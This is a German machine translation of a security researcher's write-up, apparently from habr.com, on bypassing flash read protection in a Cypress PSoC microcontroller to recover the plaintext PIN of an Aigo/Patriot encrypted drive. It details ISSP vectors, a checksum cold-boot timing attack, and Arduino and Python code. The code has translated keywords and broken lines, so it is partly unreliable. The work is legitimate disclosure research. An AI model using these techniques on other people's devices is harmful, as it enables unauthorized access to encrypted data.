Dies ist der zweite und letzte Teil des Artikels über das Hacken von externen selbstverschlüsselnden Laufwerken. Ich erinnere daran, dass mir kürzlich ein Patriot (Aigo) SK8671 Festplatte übergeben wurde, die ich reverse-engineer wollte, und jetzt teile ich, was dabei herausgekommen ist. Bevor Sie weiter lesen, sollten Sie unbedingt mit Artikel.

4. Wir beginnen mit dem Erstellen eines Dumps vom internen PSoC-Flash-Speicher
Also, alles deutet darauf hin (wie wir in [Teil eins]() festgestellt haben), dass der PIN-Code im Flash-Speicher des PSoC gespeichert ist. Daher müssen wir diesen Flash-Speicher auslesen. Der Frontbereich der notwendigen Arbeiten:
- die "Kommunikation" mit dem Mikrocontroller zu übernehmen;
- einen Weg zu finden, um zu überprüfen, ob diese "Kommunikation" vor dem Auslesen von außen geschützt ist;
- einen Weg zu finden, um den Schutz zu umgehen.
Es gibt zwei Stellen, an denen es sinnvoll ist, nach dem aktiven PIN-Code zu suchen:
- der interne Flash-Speicher;
- SRAM, wo der PIN-Code möglicherweise zur Überprüfung mit dem vom Benutzer eingegebenen PIN-Code gespeichert ist.
Um vorzugreifen, möchte ich anmerken, dass es mir gelungen ist, einen Dump des internen PSoC-Flash-Speichers anzufertigen, indem ich das Schutzhardware-System umgangen habe, mittels eines Angriffes „Tracing mit kaltem Neustart“ – nach dem Reverse Engineering der undocumented Funktionen des ISSP-Protokolls. Dies erlaubte es mir, den aktiven PIN-Code direkt auszulesen.
$ .\/psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Der endgültige Programmcode:
- ;
- .
5. ISSP-Protokoll
5.1. Was ist ISSP
Die „Kommunikation“ mit dem Mikrocontroller kann verschiedene Dinge bedeuten: von „Vendor zu Vendor“ bis zur Interaktion unter Verwendung eines seriellen Protokolls (zum Beispiel ICSP für Microchips PIC).
Für Cypress gibt es ein eigenes proprietäres Protokoll namens ISSP (In-System Serial Programming Protocol; internes System-Protokoll für serielle Programmierung), das teilweise in . bietet auch einige Informationen. Es gibt auch ein Open-Source-Analogon, das HSSP genannt wird (wir werden es später verwenden). ISSP funktioniert folgendermaßen:
- PSoC neu starten;
- die magische Zahl an den Pin der seriellen Daten dieses PSoC ausgeben; um in den externen Programmiermodus zu gelangen;
- Befehle senden, die lange Bitfolgen darstellen, die als „Vektoren“ bezeichnet werden.
In der Dokumentation zu ISSP sind diese Vektoren nur für eine kleine Handvoll von Befehlen definiert:
- Initialize-1
- Initialize-2
- Initialize-3 (Varianten 3V und 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, wobei dddddddd=Block #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, wobei DDDDDDDD = Daten aus, aaaaaa = Adresse (6 Bit)
- WRITE-BYTE: 10010aaaaaadddddddd111, wobei dddddddd = Daten hinein, aaaaaa = Adresse (6 Bit)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, wobei DDDDDDDDDDDDDDDD = Daten aus: Prüfziffer des Geräts
- BLOCK LÖSCHEN
Zum Beispiel, der Vektor für Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Alle Vektoren haben dieselbe Länge: 22 Bit. In der Dokumentation zu HSSP gibt es einige zusätzliche Informationen über ISSP: „Der ISSP-Vektor ist nichts anderes als eine Bitfolge, die einen Satz von Anweisungen darstellt.“
5.2. Entmystifizierung der Vektoren
Lassen Sie uns klären, was hier vor sich geht. Zunächst nahm ich an, dass diese Vektoren rohe Versionen von M8C-Anweisungen darstellen, aber als ich diese Hypothese überprüfte, stellte ich fest, dass die Operationcodes nicht übereinstimmen.
Dann habe ich den obigen Vektor gegoogelt und bin auf Studie gestoßen, wo der Autor, obwohl er nicht ins Detail geht, einige nützliche Hinweise gibt: „Jede Anweisung beginnt mit drei Bits, die einer der vier Mnemotechniken entsprechen (aus RAM lesen, in RAM schreiben, Register lesen, Register schreiben). Danach folgt eine 8-Bit-Adresse, gefolgt von 8 Bits Daten (gelesen oder zum Schreiben) und schließlich drei Stopp-Bits.“
Dann konnte ich sehr nützliche Informationen aus dem Abschnitt „Supervisory ROM (SROM)“ . SROM ist eine fest kodierte ROM im PSoC, die Dienstleistungsfunktionen bereitstellt (nach einem ähnlichen Prinzip wie Syscall) – für den in Benutzermodus ausgeführten Programmcode:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Durch den Vergleich der Vektornamen mit den SROM-Funktionen können wir die verschiedenen von diesem Protokoll unterstützten Operationen den erwarteten SROM-Parametern zuordnen. Dadurch können wir die ersten drei Bits der ISSP-Vektoren dekodieren:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Ein vollständiges Verständnis der internen Chip-Prozesse kann jedoch nur durch direkten Kontakt mit dem PSoC erlangt werden.
5.3. Kommunikation mit dem PSoC
Da Dirk Petrach schon den Cypress HSSP-Code auf Arduino verwendet hat, habe ich ein Arduino Uno benutzt, um mich mit dem ISSP-Anschluss der Tastaturplatine zu verbinden.
Bitte beachten Sie, dass ich während meiner Untersuchungen den Code von Dirk erheblich verändert habe. Meine Modifikation finden Sie auf GitHub: und das entsprechende Python-Skript zur Kommunikation mit Arduino in meinem Repository .
Also, bei der Verwendung von Arduino habe ich zunächst nur die "offiziellen" Vektoren zur "Kommunikation" verwendet. Ich habe versucht, den internen ROM mit dem Befehl VERIFY zu lesen. Wie erwartet, konnte ich dies nicht erreichen. Wahrscheinlich, weil die Schutzbits innerhalb des Flashspeichers aktiviert sind.
Dann habe ich einige eigene einfache Vektoren zum Schreiben und Lesen von Speicher/Registern erstellt. Bitte beachten Sie, dass wir den gesamten SROM lesen können, auch wenn der Flashschutz aktiviert ist!
5.4. Identifikation interner Chip-Register
Nachdem ich die "disassemblierten" Vektoren angesehen hatte, stellte ich fest, dass das Gerät nicht dokumentierte Register (0xF8-0xFA) verwendet, um M8C-Opcodes anzugeben, die direkt ausgeführt werden, um den Schutz zu umgehen. Dadurch konnte ich verschiedene Opcodes wie "ADD", "MOV A, X", "PUSH" oder "JMP" ausführen. Anhand der Nebenwirkungen, die sie auf die Register hatten, konnte ich bestimmen, welche der nicht dokumentierten Register tatsächlich normale Register (A, X, SP und PC) sind.
Insgesamt sieht der "disassemblierte" Code, der mit dem HSSP_disas.rb-Tool generiert wurde, so aus (zur Klarheit habe ich Kommentare hinzugefügt):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # Flags zurücksetzen
[DE C0 1C] wrreg SP (f6), 0x00 # SP zurücksetzen
[9F 07 5C] wrmem KEY1, 0x3A # erforderliches Argument für SSC
[9F 20 7C] wrmem KEY2, 0x03 # ähnlich
[DE A0 1C] wrreg PCh (f5), 0x00 # PC (MSB) zurücksetzen ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... bis 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-Zeiger für Ausgabedaten
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK-ID für den Aufruf von SSC
[DE 00 DC] wrreg A (f0), 0x06 # Nummer "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode für SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undokumentierte Operation: externen Opcode ausführen
5.5. Schutzbits
An diesem Punkt kann ich bereits mit dem PSoC kommunizieren, aber ich habe immer noch keine zuverlässigen Informationen über die Schutzbits des Flashspeichers. Ich war sehr überrascht, dass Cypress dem Benutzer des Geräts keinerlei Mittel an die Hand gibt, um zu überprüfen, ob der Schutz aktiviert ist. Ich habe intensiv bei Google nachgeforscht, um endgültig zu verstehen, dass der von Cypress bereitgestellte HSSP-Code nach der Veröffentlichung von Dirks Modifikation aktualisiert wurde. Und siehe da! Ein neuer Vektor ist erschienen:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # unbekannte Argumente
[9F E0 1C] wrmem 0xFF, 0x00 # ähnlich
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # undokumentierter syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Mit diesem Vektor (siehe read_security_data in psoc.py) erhalten wir alle Schutzbits im SRAM an 0x80, wobei jedem geschützten Block zwei Bits zugeordnet sind.
Das Ergebnis ist enttäuschend: Alles ist im Modus "externes Lesen und Schreiben deaktivieren" geschützt. Daher können wir nicht nur nichts aus dem Flashspeicher lesen, sondern auch nichts darauf schreiben (um beispielsweise einen ROM-Dumper einzufügen). Der einzige Weg, den Schutz zu deaktivieren, besteht darin, den gesamten Chip vollständig zu löschen. 🙁
6. Erster (fehlgeschlagener) Angriff: ROMX
Wir können jedoch versuchen, den folgenden Trick auszuführen: Da wir die Möglichkeit haben, beliebige Opcodes auszuführen, warum nicht den ROMX ausführen, der für das Lesen des Flashspeichers eingesetzt wird? Diese Herangehensweise hat ganz gute Erfolgschancen. Denn die Funktion ReadBlock, die Daten aus dem SROM liest (das von den Vektoren verwendet wird), überprüft, ob sie aus dem ISSP aufgerufen wird. Der Opcode ROMX hingegen könnte diese Überprüfung möglicherweise nicht haben. Hier ist also der Python-Code (nach dem Hinzufügen einiger Hilfsklassen in den C-Arduino-Code):
für i in range(0, 8192):
write_reg(0xF0, i >> 8) # A = 0
write_reg(0xF3, i & 0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX liest ROM[A|X] in A
print "x" % ord(byte[0]) # drucke ROM ByteLeider funktioniert dieser Code nicht. 🙁 Genau genommen funktioniert er, aber wir bekommen unsere eigenen Opcodes (0x28 0x30 0x40) als Ausgabe! Ich denke nicht, dass die entsprechende Funktionalität des Geräts ein Element des Kopierschutzes ist. Es scheint eher ein Ingenieurstrick zu sein: Bei der Ausführung externer Opcodes wird der ROM-Bus auf einen Zwischenspeicher umgeleitet.
7. Zweiter Angriff: Tracing mit kaltem Neustart
Da der Trick mit ROMX nicht funktioniert hat, begann ich, eine andere Variante dieses Tricks zu überdenken, die in der Veröffentlichung beschrieben ist .
7.1. Implementierung
In der Dokumentation zum ISSP wird der folgende Vektor für CHECKSUM-SETUP angegeben:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Hier wird im Wesentlichen die SROM-Funktion 0x07 aufgerufen, wie in der Dokumentation beschrieben (Kursivschrift von mir):
Diese Funktion prüft die Prüfziffer. Sie berechnet die 16-Bit-Prüfziffer der Benutzer angegebenen Blockanzahl – in einem Flash-Bank, beginnend bei null. Der Parameter BLOCKID wird verwendet, um die Anzahl der Blöcke zu übermitteln, die für die Berechnung der Prüfziffer verwendet werden. Der Wert „1“ berechnet die Prüfziffer nur für den Nullblock; während „0“ dazu führt, dass die Gesamtsumme aller 256 Blöcke des Flash-Banks berechnet wird. Die 16-Bit-Prüfziffer wird über KEY1 und KEY2 zurückgegeben. Im Parameter KEY1 werden die unteren 8 Bits der Prüfziffer gespeichert, und in KEY2 die oberen 8 Bits. Für Geräte mit mehreren Flash-Bänken wird die Prüfziffer für jede Bank einzeln berechnet. Die Banknummer, mit der gearbeitet werden soll, wird im Register FLS_PR1 festgelegt (indem das Bit gesetzt wird, das der gewünschten Flash-Bank entspricht).
Beachten Sie, dass dies eine sehr einfache Prüfziffer ist: Die Bytes werden einfach nacheinander addiert; keine ausgeklügelten CRC-Geschichten. Darüber hinaus, da im M8C-Kern der Registersatz sehr klein ist, habe ich angenommen, dass bei der Berechnung der Prüfziffer die Zwischenergebnisse in denselben Variablen gespeichert werden, die schließlich als Ausgabe dienen: KEY1 (0xF8) / KEY2 (0xF9).
So sieht meine Theorie für den Angriff aus:
- Wir verbinden uns über ISSP.
- Wir starten die Berechnung der Prüfziffer unter Verwendung des Vektors CHECKSUM-SETUP.
- Wir starten den Prozessor nach der festgelegten Zeit T neu.
- Wir lesen den RAM aus, um die aktuelle Prüfziffer C zu erhalten.
- Wir wiederholen die Schritte 3 und 4, wobei wir jedes Mal T leicht erhöhen.
- Wir stellen die Daten aus dem Flash wieder her, indem wir die vorherige Prüfziffer C von der aktuellen subtrahieren.
Es gab jedoch ein Problem: Der Vektor Initialize-1, den wir nach dem Neustart senden müssen, überschreibt KEY1 und KEY2:
1100101000000000000000 # Magie, die PSoC in den Programmiermodus versetzt
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # Prüfziffer wird hier überschrieben
[9F 20 7C] wrmem KEY2, 0x03 # und hier
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-Funktion 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Dieser Code löscht unsere wertvolle Prüfziffer, indem er Calibrate1 (SROM-Funktion 9) aufruft… Vielleicht gelingt es uns, einfach die magische Zahl (aus dem Anfang des obigen Codes) zu senden, um in den Programmiermodus zu gelangen und dann den SRAM zu lesen? Und ja, es funktioniert! Der Arduino-Code, der diesen Angriff implementiert, ist recht einfach:
fall Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch()) << 24;
checksum_delay |= ((uint32_t)getch()) << 16;
checksum_delay |= ((uint32_t)getch()) < 10000) {
ms_delay = checksum_delay / 1000;
checksum_delay = checksum_delay % 1000;
}
sonst {
ms_delay = 0;
}
send_checksum_v();
wenn (checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Lese checkum_delay.
- Starte die Berechnung der Prüfziffer (send_checksum_v).
- Warte den vorgegebenen Zeitraum unter Berücksichtigung der folgenden Fallstricke:
- Ich habe eine Menge Zeit verschwendet, bis ich herausfand, dass nur korrekt funktioniert, wenn die Verzögerungen 16383μs nicht überschreiten;
- und dann habe ich wieder so viel Zeit vergeudet, bis ich entdeckte, dass delayMicroseconds, wenn man 0 übergibt, völlig falsch arbeitet!
- Starte den PSoC im Programmiermodus neu (einfach die magische Zahl senden, ohne die Initialisierungsvektoren zu senden).
Der finale Code in Python:
für delay in range(0, 150000): # Verzögerung in Mikrosekunden
für i in range(0, 10): # Anzahl der Lesevorgänge für jede der Verzögerungen
versuchen:
reset_psoc(quiet=True) # Neustart und Eintritt in den Programmiermodus
send_vectors() # Senden der Initialisierungsvektoren
ser.write("x85" + struct.pack(">I", delay)) # Berechne Prüfziffer + neu starten nach Verzögerung
res = ser.read(1) # Arduino ACK lesen
außer Exception als e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # Öffne den seriellen Port
continue
print "d X X X" % (delay, # RAM-Bytes lesen
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Kurz gesagt, was dieser Code macht:
- Er startet den PSoC neu (und sendet ihm eine magische Zahl).
- Er sendet vollständige Initialisierungsvektoren.
- Er ruft die Arduino-Funktion Cmnd_STK_START_CSUM (0x85) auf, wobei die Verzögerung in Mikrosekunden als Parameter übergeben wird.
- Er liest die Prüfziffer (0xF8 und 0xF9) und das nicht dokumentierte Register 0xF1.
Dieser Code wird 10 Mal pro Mikrosekunde ausgeführt. 0xF1 ist hier enthalten, da es das einzige Register war, das sich bei der Berechnung der Prüfziffer änderte. Möglicherweise handelt es sich um eine temporäre Variable, die von der arithmetisch-logischen Einheit verwendet wird. Beachten Sie den hässlichen Hack, mit dem ich das Arduino zurücksetze, indem ich picocom verwende, wenn das Arduino keine Lebenszeichen mehr von sich gibt (ich weiß nicht, warum).
7.2. Lesen Sie das Ergebnis
Das Ergebnis des Python-Skripts sieht so aus (zur besseren Lesbarkeit vereinfacht):
DELAY F1 F8 F9 # F1 – oben erwähnter unbekannter Register
# F8 niederwertiges Byte der Prüfziffer
# F9 höherwertiges Byte der Prüfziffer
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # Prüfziffer wird auf 0 zurückgesetzt
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1. Byte: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2. Byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # Ich habe keine Ahnung, was hier passiert
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Wieder E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, verstanden! Das ist der Transfer ins höherwertige Byte
00063 01 17 01
[...]
00075 CC 17 01 # Also, 0x117-0xE7: 0x30Dabei haben wir ein Problem: Da wir mit der tatsächlichen Prüfziffer operieren, verändert das Nullbyte den gelesenen Wert nicht. Da jedoch die gesamte Berechnungsverfahren (8192 Bytes) 0,1478 Sekunden in Anspruch nimmt (mit kleinen Abweichungen bei jedem Durchlauf), was ungefähr 18,04 Mikrosekunden pro Byte entspricht – können wir diese Zeit nutzen, um den Wert der Prüfziffer zu geeigneten Zeitpunkten zu überprüfen. Für die ersten Durchgänge wird alles relativ leicht gelesen, da die Ausführungsdauer der Berechnungsverfahren praktisch immer gleich ist. Am Ende dieses Dumps ist es jedoch weniger präzise, weil „geringfügige zeitliche Abweichungen“ bei jedem Durchlauf – sich summieren und bedeutend werden:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDDas sind 10 Dumps für jede Mikrosekundeverzögerung. Die Gesamtdauer für das Abrufen des Dumps aller 8192 Bytes des Flash-Speichers beträgt etwa 48 Stunden.
7.3. Rekonstruktion des Flash-Binaries
Ich habe das Schreiben des Codes, der den Programmcode des Flash-Speichers unter Berücksichtigung aller zeitlichen Abweichungen vollständig rekonstruiert, noch nicht abgeschlossen. Aber den Anfang dieses Codes habe ich bereits wiederhergestellt. Um sicherzustellen, dass ich das korrekt gemacht habe, habe ich ihn mit Hilfe von m8cdis disassembliert:
0000: 80 67 springe 0068h ; Zurücksetzvektor
[...]
0068: 71 10 oder F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef und F,0efh
006f: 41 fe fb und reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 oder F,010h
0125: 43 e3 10 oder reg[VLT_CR],010h
0128: 70 00 und F,000h ; Paging-Modus von 3 auf 0 geändert
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 oder F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef und F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff springe 013bh
013d: 50 08 mov A,008h
013f: 7f retSieht ziemlich plausibel aus!
7.4. Wir finden die Adresse zur Speicherung des PIN-Codes
Jetzt, da wir die Prüfziffer zu den für uns nötigen Zeitpunkten auslesen können, können wir leicht überprüfen, wie und wo sie sich ändert, wenn wir:
- einen falschen PIN-Code eingeben;
- den PIN-Code ändern.
Zunächst habe ich versucht, die ungefähre Adresse zur Speicherung zu finden, indem ich alle 10 ms einen Dump der Prüfziffer nach einem Neustart gemacht habe. Dann habe ich einen falschen PIN-Code eingegeben und das gleiche gemacht.
Das Ergebnis war nicht sehr erfreulich, da es viele Änderungen gab. Aber schließlich gelang es mir festzustellen, dass die Prüfziffer irgendwo zwischen 120000 µs und 140000 µs Verzögerung geändert wurde. Der "PIN-Code", den ich dort entdeckte, war jedoch absolut falsch – aufgrund eines Artefakts der Funktion delayMicroseconds, die seltsame Dinge tut, wenn ihr 0 übergeben wird.
Danach, nach fast 3 Stunden, fiel mir ein, dass der SROM-Systemaufruf CheckSum als Eingabe ein Argument erhält, das die Anzahl der Blöcke für die Prüfziffer bestimmt! Damit können wir problemlos die Adresse zur Speicherung des PIN-Codes und des Zählers "falsche Versuche" lokalisieren – genau bis zum 64-Byte-Block.
Meine ersten Durchläufe ergaben folgendes Ergebnis:

Dann habe ich den PIN-Code von "123456" auf "1234567" geändert und erhalten:

Somit scheinen der PIN-Code und der Zähler für falsche Versuche im Block Nr. 126 gespeichert zu werden.
7.5. Wir nehmen den Dump des Blocks Nr. 126
Block Nr. 126 sollte sich etwa bei 125x64x18 = 144000 µs, ab Beginn der Berechnung der Prüfziffer, in meinem vollständigen Dump befinden und sieht ziemlich plausibel aus. Danach, nach manueller Aussortierung zahlreicher falscher Dumps (aufgrund der Ansammlung von "geringen zeitlichen Abweichungen"), erhielt ich schließlich diese Bytes (bei einer Verzögerung von 145527 µs):

Es ist offensichtlich, dass der PIN-Code unverschlüsselt gespeichert ist! Diese Werte sind zwar nicht in ASCII-Codes, stellen aber die Messwerte dar, die von einer kapazitiven Tastatur abgerufen wurden.
Ich habe schließlich einige weitere Tests durchgeführt, um herauszufinden, wo der Zähler für falsche Versuche gespeichert wird. Hier sind die Ergebnisse:

0xFF – bedeutet "15 Versuche", und dieser Wert verringert sich mit jedem falschen Versuch.
7.6. Wiederherstellung des PIN-Codes
Hier ist mein hässlicher Code, der alles oben Genannte zusammenführt:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
für delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum - last_csum) & 0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
für i in range(0, len(pin_bytes)):
wenn pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printHier sind die Ergebnisse seiner Ausführung:
$ .\/psoc.py
syncing: KO OK
PSoC zurücksetzen: KO PSoC zurücksetzen: KO PSoC zurücksetzen: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hurra! Es funktioniert!
Bitte beachten Sie, dass die Verzögerungswerte, die ich verwendet habe, wahrscheinlich nur für einen bestimmten PSoC relevant sind – den, den ich verwendet habe.
8. Was kommt als Nächstes?
Lassen Sie uns also die Ergebnisse auf der PSoC-Seite im Kontext unseres Aigo-Speichermediums zusammenfassen:
- Wir können SRAM lesen, selbst wenn es gegen das Auslesen geschützt ist;
- Wir können den Schutz gegen das Auslesen umgehen, indem wir einen "Cold Boot Attack" durchführen und den PIN-Code direkt auslesen.
Dennoch gibt es einige Mängel in unserem Angriff – aufgrund von Synchronisierungsproblemen. Man könnte ihn wie folgt verbessern:
- eine Utility schreiben, um die Ausgabedaten, die aus dem "Cold Boot Attack" erhalten wurden, richtig zu dekodieren;
- eine FPGA-Schaltung verwenden, um genauere Zeitverzögerungen zu erzeugen (oder Hardware-Timer von Arduino nutzen);
- Eine weitere Angriffsvariante wäre, einen absichtlich falschen PIN-Code einzugeben, das Gerät neu zu starten und den RAM auszulesen, in der Hoffnung, dass der richtige PIN-Code im RAM gespeichert bleibt und verglichen werden kann. Allerdings ist das bei Arduino nicht ganz einfach, da das Signalniveau von Arduino 5 Volt beträgt, während das von uns untersuchte Board mit 3,3 Volt arbeitet.
Eine interessante Möglichkeit, die man ausprobieren könnte, wäre, mit dem Spannungsniveau zu spielen, um den Leseschutz zu umgehen. Wenn dieser Ansatz funktionieren würde, könnten wir absolut genaue Daten von dem Flash-Speicher erhalten, statt uns auf das Auslesen einer Prüfziffer mit ungenauen Zeitverzögerungen zu verlassen.
Da SROM wahrscheinlich die Schutzbytes über den Systemaufruf ReadBlock liest, könnten wir das Gleiche tun, wie im Blog von Dmitry Nedospasov – eine Wiederimplementierung des Angriffs von Chris Gerlinski, der auf der Konferenz .
Eine weitere interessante Möglichkeit wäre, das Gehäuse des Chips abzuschleifen: um ein Dump des SRAMs zu erstellen, nicht dokumentierte Systemaufrufe und Schwachstellen zu entdecken.
9. Fazit
Die Sicherheit dieses Speichers lässt also zu wünschen übrig, denn er verwendet einen gewöhnlichen (nicht „gehärteten“) Mikrocontroller zur Speicherung des PIN-Codes… Außerdem habe ich (noch) nicht überprüft, wie es mit der Datenverschlüsselung auf diesem Gerät aussieht!
Was kann man Aigo empfehlen? Nach der Analyse mehrerer Modelle von verschlüsselten HDD-Festplatten habe ich 2015 eine verfasst, in der ich die Sicherheitsprobleme mehrerer externer HDD-Festplatten behandelt habe und Empfehlungen gegeben habe, wie man diese verbessern könnte. 🙂
Ich habe zwei Wochenenden und einige Abende für diese Untersuchung aufgewendet. Insgesamt etwa 40 Stunden. Diese Zeit umfasst den gesamten Zeitraum von dem Moment an, als ich die Festplatte geöffnet habe, bis zum Ende (Dump des PIN-Codes). In diese 40 Stunden ist auch die Zeit enthalten, die ich für das Schreiben dieses Artikels aufgewendet habe. Es war eine sehr interessante Reise.
Quelle: habr.com
